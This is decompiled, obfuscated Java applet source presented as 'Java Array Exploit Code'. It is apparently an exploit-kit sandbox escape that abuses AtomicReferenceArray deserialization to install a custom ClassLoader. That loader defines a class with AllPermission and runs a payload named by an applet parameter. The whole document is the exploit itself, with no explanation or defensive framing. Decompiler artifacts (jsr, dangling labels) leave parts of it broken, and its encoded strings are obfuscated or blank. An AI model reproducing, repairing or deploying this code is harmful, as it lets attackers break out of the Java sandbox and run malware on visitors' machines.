Java Array Exploit Code - Different Classes

package q_a;

import java.applet.Applet;
import java.lang.reflect.Constructor;
import java.security.AllPermission;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.util.concurrent.atomic.AtomicReferenceArray;

public class q_a extends Applet
{
  public static int z;
  private static final String A;

  public static void q_a(String paramString)
    throws Exception
  {
    Object localObject = Class.forName(q_a()).getConstructor(new Class[] { String.class }).newInstance(new Object[] { paramString });
  }

  public static Permissions q_b()
  {
    Permissions localPermissions = new Permissions();
    localPermissions.add(new AllPermission());
    return localPermissions;
  }

  public void init()
  {
    q_c.q_a(getParameter("b"), getClass().getClassLoader());
  }

  public static String q_a()
  {
    return A.substring(4);
  }

  public static void q_a(String paramString, Object paramObject, Object[] paramArrayOfObject)
  {
    int i = z;
    AtomicReferenceArray localAtomicReferenceArray = (AtomicReferenceArray)paramArrayOfObject[1];
    localAtomicReferenceArray.set(0, paramObject);
    q_b localq_b = ((q_b[])paramArrayOfObject[0])[0];
    q_b.q_a(localq_b, paramString);
    if (i != 0)
      q_b.z = !q_b.z;
  }

  public static ProtectionDomain q_c()
    throws Exception
  {
    return new ProtectionDomain(q_c.q_b(), q_b());
  }

  static
  {
    jsr 9;
    A = "T\007i\fQJ_0XT\001Y";
    break label123;
    localObject = returnAddress;
  }
}

=============================================================================================================

package q_a;

public class q_b extends ClassLoader
{
  public static boolean z;

  public static void q_a(q_b paramq_b, String paramString)
  {
    try
    {
      paramq_b.defineClass(q_a.q_a(), q_c.q_a(), 0, q_c.q_a().length, q_a.q_c());
      q_a.q_a(paramString);
    }
    catch (Exception localException)
    {
    }
  }
}

=============================================================================================================
package q_a;

import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.math.BigInteger;
import java.net.URL;
import java.security.CodeSource;
import java.security.cert.Certificate;

public class q_c
{
  private static final String[] z;

  public static byte[] q_a()
  {
    return q_b(z[7]);
  }

  public static CodeSource q_b()
    throws Exception
  {
    URL localURL = new URL(z[1]);
    Certificate[] arrayOfCertificate = new Certificate[0];
    String str = z[0];
    return new CodeSource(localURL, arrayOfCertificate);
  }

  public static String q_a(String paramString)
  {
    int i = q_a.z;
    if (q_b.z)
    {
      i++;
      q_a.z = i;
    }
    return Integer.toHexString(paramString.length()) + String.format(z[2], new Object[] { new BigInteger(paramString.getBytes()) });
  }

  public static void q_a(String paramString, InputStream paramInputStream, Object paramObject)
    throws Exception
  {
    ObjectInputStream localObjectInputStream = new ObjectInputStream(paramInputStream);
    Object[] arrayOfObject = (Object[])localObjectInputStream.readObject();
    q_a.q_a(paramString, paramObject, arrayOfObject);
  }

  public static byte[] q_c(String paramString)
  {
    int j = q_a.z;
    byte[] arrayOfByte = new byte[paramString.length() / 2];
    int i = 0;
    if (j != 0);
    do
      do
      {
        arrayOfByte[(i / 2)] = (byte)((Character.digit(paramString.charAt(i), 16) << 4) + Character.digit(paramString.charAt(i + 1), 16));
        i += 2;
      }
      while (i < paramString.length());
    while (j != 0);
    return arrayOfByte;
  }

  public static void q_a(String paramString, Object paramObject)
  {
    String str1 = z[6];
    ByteArrayInputStream localByteArrayInputStream = null;
    String str2 = "";
    try
    {
      str2 = [Lq_a.q_b.class.getName();
    }
    catch (Exception localException1)
    {
    }
    try
    {
      localByteArrayInputStream = new ByteArrayInputStream(q_c(z[4] + q_a(str2) + z[3]));
      String str3 = z[5];
      q_a(paramString, localByteArrayInputStream, paramObject);
    }
    catch (Exception localException2)
    {
    }
  }

  public static byte[] q_b(String paramString)
  {
    int i2 = q_a.z;
    String str = z[8];
    if (i2 == 0)
      if (paramString.length() == 0)
        return new byte[0];
    int i = 0;
    int j = paramString.length() - 1;
    if (i2 != 0);
    do
    {
      i++;
      j--;
    }
    while ((j > 0) && ((i2 == 0) && (i2 == 0) && (paramString.charAt(j) == '=')));
    j = paramString.length() * 6 / 8 - i;
    byte[] arrayOfByte = new byte[j];
    int k = 0;
    int m = 0;
    if (i2 != 0);
    do
    {
      int n = (q_a(paramString.charAt(m)) << 18) + (q_a(paramString.charAt(m + 1)) << 12) + (q_a(paramString.charAt(m + 2)) << 6) + q_a(paramString.charAt(m + 3));
      int i1 = 0;
      if (i2 != 0);
      while (true)
      {
        arrayOfByte[(k + i1)] = (byte)(n >> 8 * (2 - i1) & 0xFF);
        i1++;
        if (i1 < 3)
        {
          if (i2 != 0)
            break;
          if (k + i1 < arrayOfByte.length)
            continue;
        }
        else
        {
          k += 3;
          m += 4;
        }
      }
    }
    while (m < paramString.length());
    return arrayOfByte;
  }

  public static int q_a(char paramChar)
  {
    int i = q_a.z;
    if (i == 0)
      if (paramChar >= 'A')
      {
        if (i != 0)
          break label32;
        if (paramChar <= 'Z')
          return paramChar - 'A';
      }
    label32: if (i == 0)
      if (paramChar >= 'a')
      {
        if (i != 0)
          break label60;
        if (paramChar <= 'z')
          return paramChar - 'a' + 26;
      }
    label60: if (i == 0)
      if (paramChar >= '0')
      {
        if (i != 0)
          break label88;
        if (paramChar <= '9')
          return paramChar - '0' + 52;
      }
    label88: if (i == 0)
      if (paramChar == '+')
        return 62;
    if (i == 0)
    {
      if (paramChar == '/')
        return 63;
      if (i != 0)
        break label122;
    }
    label122: return paramChar != '=' ? -1 : 0;
  }

  static
  {
    String[] tmp5_2 = new String[9];
    jsr 77;
    tmp5_2[0] = "";
    String[] tmp13_5 = tmp5_2;
    jsr 69;
    tmp13_5[1] = "1v|^ex0?";
    String[] tmp21_13 = tmp13_5;
    jsr 61;
    tmp21_13[2] = "rg";
    String[] tmp29_21 = tmp21_13;
    jsr 53;
    tmp29_21[3] = "\021Z\"xfc.!\003g\025)U\016\031\021/\"\013og/'\003hg/ \013og/ \nhg(#\fmg/#\013i\026)!\fia.\"~hb($\rfa\\\"~id)V\r\032a,'\016he(\"\rjaZ'\017m\022)!\fkaY&in)#\t\032c.'\017i\021)T\rfa,%\tib)&\rj`-&\016i\022)#\rjc.'\the)!\ff\026&T\t\033\022^!y\032a*&\013o\024/\"\013og.%yog/%\rn`-'\tif()\fkg/!\bj\025+S\r\036a.'\rif-V\r\034a.&~i`-V\017\031a-&zib)#\fkd]'\003hg(!\013o`Z \013od";
    String[] tmp37_29 = tmp29_21;
    jsr 45;
    tmp37_29[4] = "\026\\Uog/%\fj`- \013nd*R\017\034a^&\nha)!\t\032a\\&\ni\022)'\t\032cY&\ti\026)%\rl`+#yfg\\U\016gnY!\013hd-)\r\034g- \013og((\fog/ \013og/\"\fj`- \013o";
    String[] tmp45_37 = tmp37_29;
    jsr 37;
    tmp45_37[5] = "";
    String[] tmp53_45 = tmp45_37;
    jsr 28;
    tmp53_45[6] = "";
    String[] tmp62_53 = tmp53_45;
    jsr 19;
    tmp62_53[7] = "";
    String[] tmp71_62 = tmp62_53;
    jsr 10;
    tmp71_62[8] = "";
    z = tmp71_62;
    break label199;
    localObject = returnAddress;
  }
}